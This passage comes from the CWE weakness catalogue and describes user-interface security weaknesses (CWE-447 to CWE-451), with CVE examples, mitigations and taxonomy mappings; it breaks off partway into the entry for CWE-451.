Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		355	User Interface Security Issues	699	611
ChildOf		684	Incorrect Provision of Specified Functionality	1000	1045
ChildOf		996	SFP Secondary Cluster: Security	888	1380
ParentOf		447	<i>Unimplemented or Unsupported Feature in UI</i>	699 <i>1000</i>	748
ParentOf		448	<i>Obsolete Feature in UI</i>	699 1000	749
ParentOf		449	<i>The UI Performs the Wrong Action</i>	699 1000	750

Relationship Notes

This is often resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	User interface inconsistency

Maintenance Notes

This node is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID: 447 (Weakness Base)

Status: Draft

Description**Summary**

A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences

Other
Varies by context
Observed Examples

Reference	Description
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.
CVE-2001-0863	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
CVE-2001-0865	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
CVE-2004-0979	Web browser does not properly modify security setting when the user sets it.

Potential Mitigations

Testing

Perform functionality testing before deploying the application.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		446	UI Discrepancy for Security Feature	699	747
ChildOf		671	Lack of Administrator Control over Security	1000	1021
ChildOf		995	SFP Secondary Cluster: Feature	888	1380

Research Gaps

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unimplemented or unsupported feature in UI

CWE-448: Obsolete Feature in UI

Weakness ID: 448 (*Weakness Base*) **Status:** Draft

Description

Summary

A UI function is obsolete and the product does not warn the user.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Quality degradation

Varies by context

Potential Mitigations

Architecture and Design

Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		446	UI Discrepancy for Security Feature	699	747
ChildOf		995	SFP Secondary Cluster: Feature	888	1380

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Obsolete feature in UI

CWE-449: The UI Performs the Wrong Action

Weakness ID: 449 (Weakness Base) Status: Incomplete

Description

Summary

The UI performs the wrong action with respect to the user's request.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Quality degradation

Varies by context

Observed Examples

Reference	Description
CVE-2001-0081	Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled.
CVE-2001-1387	Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak.
CVE-2002-1977	Product does not "time out" according to user specification, leaving sensitive data available after it has expired.

Potential Mitigations

Testing

Perform extensive functionality testing of the UI. The UI should behave as specified.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		446	UI Discrepancy for Security Feature	699	747
ChildOf		995	SFP Secondary Cluster: Feature	888	1380

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	The UI performs the wrong action

CWE-450: Multiple Interpretations of UI Input

Weakness ID: 450 (Weakness Base) Status: Draft

Description

Summary

The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Varies by context

Potential Mitigations

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID: 451 (Weakness Class)

Status: Draft

Description**Summary**

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:
